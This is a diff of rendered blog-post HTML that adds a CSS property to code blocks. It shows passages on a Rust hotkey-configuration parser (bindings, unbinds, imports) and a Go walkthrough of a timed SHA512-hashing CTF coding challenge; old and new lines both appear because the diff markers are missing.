unbinds list.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> def <span style=color:#66d9ef>in</span> root.unbinds.iter() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#66d9ef>let</span> Some(i) <span style=color:#f92672>=</span> root.bindings.iter().position(<span style=color:#f92672>|</span>b<span style=color:#f92672>|</span> b.definition.eq(def)) {
</span></span><span style=display:flex><span> root.bindings.remove(i);
</span></span><span style=display:flex><span> }
@@ -31,7 +31,7 @@ unbinds list.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;backgr
from imports that get redefined in the root config should be overwritten. After
some back and forth, we decided to stick with the older behavior of overwriting.</p><p>To implement this, instead of blindly extending the list of bindings with what
has been parsed, we check if a binding with the same definition exists. If so,
we replace the binding&rsquo;s command with the new command.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> binding <span style=color:#66d9ef>in</span> binding_parser(decl)<span style=color:#f92672>?</span> {
we replace the binding&rsquo;s command with the new command.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>for</span> binding <span style=color:#66d9ef>in</span> binding_parser(decl)<span style=color:#f92672>?</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#66d9ef>let</span> Some(b) <span style=color:#f92672>=</span> bindings
</span></span><span style=display:flex><span> .iter_mut()
</span></span><span style=display:flex><span> .find(<span style=color:#f92672>|</span>b<span style=color:#f92672>|</span> b.definition <span style=color:#f92672>==</span> binding.definition)
@@ -45,7 +45,7 @@ we replace the binding&rsquo;s command with the new command.</p><div class=highl
</span></span></code></pre></div><h1 id=unescaping-commands-in-shorthands>Unescaping commands in shorthands</h1><p>This one&rsquo;s a fairly straightforward one but I probably would have missed it if it
were not for the tests. The commands, just like keys, must be unescaped when present
in shorthands. This is so that we can distinguish a comma separating two
shorthand elements or a dash representing a range from a literal comma or a dash.</p><p>Solution? Simply reuse the unescape function we used in for the keys.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>// ...
shorthand elements or a dash representing a range from a literal comma or a dash.</p><p>Solution? Simply reuse the unescape function we used in for the keys.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>Rule::command_component <span style=color:#f92672>=&gt;</span> {
</span></span><span style=display:flex><span> command_variants.push(unescape(component.as_str()).to_string())
</span></span><span style=display:flex><span>}
@@ -60,7 +60,7 @@ extra trailing <code>&&</code>.</p><pre tabindex=0><code>echo hi &amp;&amp; ls &
</code></pre><p>Clearly, the last <code>&&</code> has no problem staying beside the <code>ls</code> while the <code>@enter</code>
mode instruction was happily extracted away. The result <code>echo hi && ls &&</code> isn&rsquo;t
a valid command though.</p><p>To fix this, we add a small snippet of code to pop off the last element if it happens
to be just one <code>&&</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>if</span> comm
to be just one <code>&&</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>if</span> comm
</span></span><span style=display:flex><span> .last()
</span></span><span style=display:flex><span> .is_some_and(<span style=color:#f92672>|</span>last<span style=color:#f92672>|</span> last.len() <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span> <span style=color:#f92672>&amp;&amp;</span> last[<span style=color:#ae81ff>0</span>] <span style=color:#f92672>==</span> <span style=color:#e6db74>&#34;&amp;&amp;&#34;</span>)
</span></span><span style=display:flex><span>{

View File

@@ -18,7 +18,7 @@ Let&rsquo;s say it imports another module, <code>module_b</code>. If <code>modul
our code enters an infinite recursion state, continuously evaluating these two modules forever.</p><p>Thus, the key takeaway is to implement book-keeping for the import paths so that they
form a directional acyclic graph. This requires us to write some additional code for
our parser.</p><p>First, let&rsquo;s create a field in our parser struct that stores tha names of all the imports it
has seen.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>struct</span> <span style=color:#a6e22e>SwhkdParser</span> {
has seen.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>struct</span> <span style=color:#a6e22e>SwhkdParser</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> bindings: Vec<span style=color:#f92672>&lt;</span>Binding<span style=color:#f92672>&gt;</span>,
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> unbinds: Vec<span style=color:#f92672>&lt;</span>Definition<span style=color:#f92672>&gt;</span>,
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> imports: <span style=color:#a6e22e>BTreeSet</span><span style=color:#f92672>&lt;</span>String<span style=color:#f92672>&gt;</span>,
@@ -29,10 +29,10 @@ duplicate elements to a set discards them, keeping only the unique elements behi
used a <code>HashSet</code> here, a binary tree set is faster since it does not require a dedicated
hashing function. Considering that the average setup
would not wield even a thousand submodules, it&rsquo;s sufficient to store the imports in a set.</p><p>We&rsquo;ll create slightly separate implementations to differentiate between the root module
and any submodules it imports. For now, let&rsquo;s tackle the implementation for the submodules.</p><p>We create a method for the parser result called <code>as_import</code> for loading any of these aforementioned submodules.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>as_import</span>(input: <span style=color:#a6e22e>ParserInput</span>, seen: <span style=color:#66d9ef>&amp;</span><span style=color:#a6e22e>mut</span> BTreeSet<span style=color:#f92672>&lt;</span>String<span style=color:#f92672>&gt;</span>) -&gt; Result<span style=color:#f92672>&lt;</span>Self, ParseError<span style=color:#f92672>&gt;</span> {
and any submodules it imports. For now, let&rsquo;s tackle the implementation for the submodules.</p><p>We create a method for the parser result called <code>as_import</code> for loading any of these aforementioned submodules.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>as_import</span>(input: <span style=color:#a6e22e>ParserInput</span>, seen: <span style=color:#66d9ef>&amp;</span><span style=color:#a6e22e>mut</span> BTreeSet<span style=color:#f92672>&lt;</span>String<span style=color:#f92672>&gt;</span>) -&gt; Result<span style=color:#f92672>&lt;</span>Self, ParseError<span style=color:#f92672>&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The <code>seen</code> argument is how the caller tells the callee about what import paths it has already seen.</p><p>While processing import expressions, we keep adding the imports we have seen so far to a local <code>BTreeSet</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imports <span style=color:#f92672>=</span> BTreeSet::new();
</span></span></code></pre></div><p>The <code>seen</code> argument is how the caller tells the callee about what import paths it has already seen.</p><p>While processing import expressions, we keep adding the imports we have seen so far to a local <code>BTreeSet</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> imports <span style=color:#f92672>=</span> BTreeSet::new();
</span></span><span style=display:flex><span><span style=color:#66d9ef>for</span> decl <span style=color:#66d9ef>in</span> contents.into_inner() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> decl.as_rule() {
</span></span><span style=display:flex><span> <span style=color:#75715e>// other rules like bindings
@@ -40,7 +40,7 @@ and any submodules it imports. For now, let&rsquo;s tackle the implementation fo
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Once all the tokens in the current config have been parsed, we can move on to adding the imports to
the set of <code>seen</code> imports.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
the set of <code>seen</code> imports.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#f92672>!</span>seen.insert(import.clone()) {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>continue</span>;
</span></span><span style=display:flex><span> }
@@ -51,14 +51,14 @@ the set of <code>seen</code> imports.</p><div class=highlight><pre tabindex=0 st
</span></span><span style=display:flex><span> modes.extend(child.modes);
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Although we recurse here, the base case when the set of <code>seen</code> elements already contains an import
saves us from entering an infinite loop.</p><p>Once that&rsquo;s done, we can return the newly parsed result.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span>Ok(SwhkdParser {
saves us from entering an infinite loop.</p><p>Once that&rsquo;s done, we can return the newly parsed result.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span>Ok(SwhkdParser {
</span></span><span style=display:flex><span> bindings,
</span></span><span style=display:flex><span> unbinds,
</span></span><span style=display:flex><span> imports,
</span></span><span style=display:flex><span> modes,
</span></span><span style=display:flex><span>})
</span></span></code></pre></div><p>Coming back to the root config, this is where we create the topmost set of <code>seen</code> imports that can
be passed on to any <code>Self::as_import</code> calls.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>from</span>(input: <span style=color:#a6e22e>ParserInput</span>) -&gt; Result<span style=color:#f92672>&lt;</span>Self, ParseError<span style=color:#f92672>&gt;</span> {
be passed on to any <code>Self::as_import</code> calls.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>from</span>(input: <span style=color:#a6e22e>ParserInput</span>) -&gt; Result<span style=color:#f92672>&lt;</span>Self, ParseError<span style=color:#f92672>&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> root_imports <span style=color:#f92672>=</span> BTreeSet::new();
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> <span style=color:#66d9ef>mut</span> root <span style=color:#f92672>=</span> Self::as_import(input, <span style=color:#f92672>&amp;</span><span style=color:#66d9ef>mut</span> root_imports)<span style=color:#f92672>?</span>;
</span></span><span style=display:flex><span> root.imports <span style=color:#f92672>=</span> root_imports;
@@ -68,7 +68,7 @@ be passed on to any <code>Self::as_import</code> calls.</p><div class=highlight>
sending it a mutable reference to this (kind of) global source of truth, at least throughout the
call stack of import related functions.</p><p>Lastly, for the sake of backwards compatibility, we assign the imports we have seen so far to the
root parser result. This was the behavior present in the original parser. Note that the import
fields in the submodules will all be empty since we popped them one by one in this loop:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
fields in the submodules will all be empty since we popped them one by one in this loop:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>while</span> <span style=color:#66d9ef>let</span> Some(import) <span style=color:#f92672>=</span> imports.pop_first() {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Okay, that&rsquo;s all for now. See you soon!</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>

View File

@@ -15,30 +15,30 @@ We defer closing the response body when the program ends.'><meta name=author con
<a href=http://challenges.ringzer0team.com:10013/>http://challenges.ringzer0team.com:10013/</a> and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
<a href="http://challenges.ringzer0team.com:10013/?r=response">http://challenges.ringzer0team.com:10013/?r=<em>response</em></a>
and to do that, we&rsquo;ll be using some Golang.</p><p>Let&rsquo;s declare the URI as a constant.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>uri</span> = <span style=color:#e6db74>&#34;http://challenges.ringzer0team.com:10013/&#34;</span>
and to do that, we&rsquo;ll be using some Golang.</p><p>Let&rsquo;s declare the URI as a constant.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>uri</span> = <span style=color:#e6db74>&#34;http://challenges.ringzer0team.com:10013/&#34;</span>
</span></span></code></pre></div><p>We fetch the challenge page using the <code>Get</code> function from the <code>http</code> standard
library, checking for errors along the way.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
library, checking for errors along the way.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We defer closing the response body when the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><p>Next, we are going to use a library called <code>goquery</code> to parse the HTML in the body of the response.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
</span></span></code></pre></div><p>We defer closing the response body when the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><p>Next, we are going to use a library called <code>goquery</code> to parse the HTML in the body of the response.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We will now match a single (<code>goquery.Single</code>) <em>div</em> element with the class
&ldquo;message&rdquo; and read the text inside it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
&ldquo;message&rdquo; and read the text inside it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>To grab the line which has the actual message, we split the lines and take the
line at index 2 (which is line 3, remember computers begin indexing from 0).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>line</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Just to be on the safe side, let&rsquo;s also trim out any leading or trailing tabs and whitespaces.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>line</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Trim</span>(<span style=color:#a6e22e>line</span>, <span style=color:#e6db74>&#34; \t&#34;</span>)
line at index 2 (which is line 3, remember computers begin indexing from 0).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>line</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Just to be on the safe side, let&rsquo;s also trim out any leading or trailing tabs and whitespaces.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>line</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Trim</span>(<span style=color:#a6e22e>line</span>, <span style=color:#e6db74>&#34; \t&#34;</span>)
</span></span></code></pre></div><p>We can now find the SHA512 hash of the line using the standard <code>crypto/sha512</code>
library. For this we pass a byte slice representation of the string to the <code>Sum512</code> function.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>hash</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>sha512</span>.<span style=color:#a6e22e>Sum512</span>([]byte(<span style=color:#a6e22e>line</span>))
library. For this we pass a byte slice representation of the string to the <code>Sum512</code> function.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>hash</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>sha512</span>.<span style=color:#a6e22e>Sum512</span>([]byte(<span style=color:#a6e22e>line</span>))
</span></span></code></pre></div><p>To construct the new URI, we can use format strings. Here <code>%s</code> represents the
original URI, <code>?r=</code> is the parameter we are asked to supply and <code>%x</code> represents
the hex digest of the hash.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagUri</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Sprintf</span>(<span style=color:#e6db74>&#34;%s?r=%x&#34;</span>, <span style=color:#a6e22e>uri</span>, <span style=color:#a6e22e>hash</span>)
the hex digest of the hash.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagUri</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Sprintf</span>(<span style=color:#e6db74>&#34;%s?r=%x&#34;</span>, <span style=color:#a6e22e>uri</span>, <span style=color:#a6e22e>hash</span>)
</span></span></code></pre></div><p>Assuming that our program is quick enough to compute the hash withing 2 seconds
😅, we will fetch the <code>flagUri</code>. As usual, we defer closing the response body
when the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>flagUri</span>)
when the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>flagUri</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
@@ -46,13 +46,13 @@ when the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8
</span></span></code></pre></div><hr><p>At this point, you could print the response body text which is what I did for
the first time.</p><p>This might be a time to pause and ponder, perhaps try out the aforementioned
technique.</p><p>For the sake of completeness, I will write the rest of the program so that
it only prints the flag when run.</p><hr><p>Let&rsquo;s parse the response body using <code>goquery</code> again.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
it only prints the flag when run.</p><hr><p>Let&rsquo;s parse the response body using <code>goquery</code> again.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The flag is located in the <em>div</em> with the class &ldquo;alert-info&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flag</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>Finally, we print out the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>flag</span>)
</span></span></code></pre></div><p>Here&rsquo;s the code in all it&rsquo;s glory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span></code></pre></div><p>The flag is located in the <em>div</em> with the class &ldquo;alert-info&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flag</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>()
